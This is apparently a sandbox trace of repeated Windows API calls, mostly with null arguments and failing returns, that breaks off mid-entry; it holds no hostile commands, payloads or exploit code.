[0185.505] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.505] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.505] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.505] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.505] GetLastError () returned 0x579 [0185.505] SetLastError (dwErrCode=0x579) [0185.505] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.505] SymCleanup (hProcess=0x0) returned 0 [0185.505] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.505] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.505] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.505] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1337, param_4=611, param_5=0x0, param_6=0x0) returned 0 [0185.505] GetLastError () returned 0x579 [0185.505] SetLastError (dwErrCode=0x579) [0185.505] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.505] SymCleanup (hProcess=0x0) returned 0 [0185.505] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.505] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.505] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.506] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.506] GetLastError () returned 0x579 [0185.506] SetLastError (dwErrCode=0x579) [0185.506] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.506] SymCleanup (hProcess=0x0) returned 0 [0185.506] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.506] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.506] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.506] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1337, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.506] GetLastError () returned 0x579 [0185.506] SetLastError (dwErrCode=0x579) [0185.506] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.506] SymCleanup (hProcess=0x0) returned 0 [0185.506] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.506] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.506] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.506] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=486, param_4=851, param_5=0x0, param_6=0x0) returned 0 [0185.506] GetLastError () returned 0x579 [0185.506] SetLastError (dwErrCode=0x579) [0185.506] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.506] SymCleanup (hProcess=0x0) returned 0 [0185.506] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.506] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.506] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.507] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.507] GetLastError () returned 0x579 [0185.507] SetLastError (dwErrCode=0x579) [0185.507] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.507] SymCleanup (hProcess=0x0) returned 0 [0185.507] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.507] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.507] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.507] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1335, param_4=609, param_5=0x0, param_6=0x0) returned 0 [0185.507] GetLastError () returned 0x579 [0185.507] SetLastError (dwErrCode=0x579) [0185.507] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.507] SymCleanup (hProcess=0x0) returned 0 [0185.507] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.507] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.507] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.507] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.507] GetLastError () returned 0x579 [0185.507] SetLastError (dwErrCode=0x579) [0185.507] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.507] SymCleanup (hProcess=0x0) returned 0 [0185.507] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.507] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.507] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.508] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1336, param_4=615, param_5=0x0, param_6=0x0) returned 0 [0185.508] GetLastError () returned 0x579 [0185.508] SetLastError (dwErrCode=0x579) [0185.508] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.508] SymCleanup (hProcess=0x0) returned 0 [0185.508] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.508] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.508] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.508] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1237, param_4=43, param_5=0x0, param_6=0x0) returned 0 [0185.508] GetLastError () returned 0x579 [0185.508] SetLastError (dwErrCode=0x579) [0185.508] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.508] SymCleanup (hProcess=0x0) returned 0 [0185.508] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.508] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.508] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.508] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.508] GetLastError () returned 0x579 [0185.508] SetLastError (dwErrCode=0x579) [0185.508] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.508] SymCleanup (hProcess=0x0) returned 0 [0185.508] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.508] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.508] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.509] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=609, param_5=0x0, param_6=0x0) returned 0 [0185.509] GetLastError () returned 0x579 [0185.509] SetLastError (dwErrCode=0x579) [0185.509] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.509] SymCleanup (hProcess=0x0) returned 0 [0185.509] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.509] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.509] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.509] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.509] GetLastError () returned 0x579 [0185.509] SetLastError (dwErrCode=0x579) [0185.509] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.509] SymCleanup (hProcess=0x0) returned 0 [0185.509] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.509] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.509] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.509] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1333, param_4=614, param_5=0x0, param_6=0x0) returned 0 [0185.509] GetLastError () returned 0x579 [0185.509] SetLastError (dwErrCode=0x579) [0185.509] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.509] SymCleanup (hProcess=0x0) returned 0 [0185.509] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.509] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.509] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.509] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=740, param_4=734, param_5=0x0, param_6=0x0) returned 0 [0185.510] GetLastError () returned 0x579 [0185.510] SetLastError (dwErrCode=0x579) [0185.510] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.510] SymCleanup (hProcess=0x0) returned 0 [0185.510] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.510] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.510] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.510] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.510] GetLastError () returned 0x579 [0185.510] SetLastError (dwErrCode=0x579) [0185.510] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.510] SymCleanup (hProcess=0x0) returned 0 [0185.510] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.510] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.510] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.510] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1331, param_4=614, param_5=0x0, param_6=0x0) returned 0 [0185.510] GetLastError () returned 0x579 [0185.510] SetLastError (dwErrCode=0x579) [0185.510] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.510] SymCleanup (hProcess=0x0) returned 0 [0185.510] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.510] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.510] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.510] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.511] GetLastError () returned 0x579 [0185.511] SetLastError (dwErrCode=0x579) [0185.511] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.511] SymCleanup (hProcess=0x0) returned 0 [0185.511] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.511] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.511] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.511] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1335, param_4=610, param_5=0x0, param_6=0x0) returned 0 [0185.511] GetLastError () returned 0x579 [0185.511] SetLastError (dwErrCode=0x579) [0185.511] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.511] SymCleanup (hProcess=0x0) returned 0 [0185.511] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.511] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.511] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.511] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=245, param_4=90, param_5=0x0, param_6=0x0) returned 0 [0185.511] GetLastError () returned 0x579 [0185.511] SetLastError (dwErrCode=0x579) [0185.511] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.511] SymCleanup (hProcess=0x0) returned 0 [0185.511] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.511] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.511] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.511] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.511] GetLastError () returned 0x579 [0185.512] SetLastError (dwErrCode=0x579) [0185.512] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.512] SymCleanup (hProcess=0x0) returned 0 [0185.512] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.512] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.512] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.512] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1336, param_4=615, param_5=0x0, param_6=0x0) returned 0 [0185.512] GetLastError () returned 0x579 [0185.512] SetLastError (dwErrCode=0x579) [0185.512] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.512] SymCleanup (hProcess=0x0) returned 0 [0185.512] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.512] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.512] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.512] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.512] GetLastError () returned 0x579 [0185.512] SetLastError (dwErrCode=0x579) [0185.512] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.512] SymCleanup (hProcess=0x0) returned 0 [0185.512] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.512] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.512] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.512] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1337, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.512] GetLastError () returned 0x579 [0185.513] SetLastError (dwErrCode=0x579) [0185.513] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.513] SymCleanup (hProcess=0x0) returned 0 [0185.513] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.513] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.513] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.513] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1127, param_4=387, param_5=0x0, param_6=0x0) returned 0 [0185.513] GetLastError () returned 0x579 [0185.513] SetLastError (dwErrCode=0x579) [0185.513] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.513] SymCleanup (hProcess=0x0) returned 0 [0185.513] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.513] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.513] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.513] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.513] GetLastError () returned 0x579 [0185.513] SetLastError (dwErrCode=0x579) [0185.513] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.513] SymCleanup (hProcess=0x0) returned 0 [0185.513] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.513] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.513] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.513] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1335, param_4=614, param_5=0x0, param_6=0x0) returned 0 [0185.513] GetLastError () returned 0x579 [0185.513] SetLastError (dwErrCode=0x579) [0185.514] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.514] SymCleanup (hProcess=0x0) returned 0 [0185.514] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.514] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.514] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.514] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.514] GetLastError () returned 0x579 [0185.514] SetLastError (dwErrCode=0x579) [0185.514] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.514] SymCleanup (hProcess=0x0) returned 0 [0185.514] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.514] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.514] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.514] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1331, param_4=610, param_5=0x0, param_6=0x0) returned 0 [0185.514] GetLastError () returned 0x579 [0185.514] SetLastError (dwErrCode=0x579) [0185.514] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.514] SymCleanup (hProcess=0x0) returned 0 [0185.514] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.514] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.514] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.514] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=866, param_4=217, param_5=0x0, param_6=0x0) returned 0 [0185.514] GetLastError () returned 0x579 [0185.514] SetLastError (dwErrCode=0x579) [0185.515] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.515] SymCleanup (hProcess=0x0) returned 0 [0185.515] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.515] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.515] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.515] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.515] GetLastError () returned 0x579 [0185.515] SetLastError (dwErrCode=0x579) [0185.515] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.515] SymCleanup (hProcess=0x0) returned 0 [0185.515] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.515] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.515] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.515] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1331, param_4=615, param_5=0x0, param_6=0x0) returned 0 [0185.515] GetLastError () returned 0x579 [0185.515] SetLastError (dwErrCode=0x579) [0185.515] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.515] SymCleanup (hProcess=0x0) returned 0 [0185.515] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.515] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.515] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.515] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.515] GetLastError () returned 0x579 [0185.515] SetLastError (dwErrCode=0x579) [0185.515] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.516] SymCleanup (hProcess=0x0) returned 0 [0185.516] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.516] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.516] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.516] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1336, param_4=611, param_5=0x0, param_6=0x0) returned 0 [0185.516] GetLastError () returned 0x579 [0185.516] SetLastError (dwErrCode=0x579) [0185.516] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.516] SymCleanup (hProcess=0x0) returned 0 [0185.516] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.516] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.516] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.516] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=87, param_4=573, param_5=0x0, param_6=0x0) returned 0 [0185.516] GetLastError () returned 0x579 [0185.516] SetLastError (dwErrCode=0x579) [0185.516] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.516] SymCleanup (hProcess=0x0) returned 0 [0185.516] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.516] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.516] GetCursorPos (in: lpPoint=0x499d08 | out: 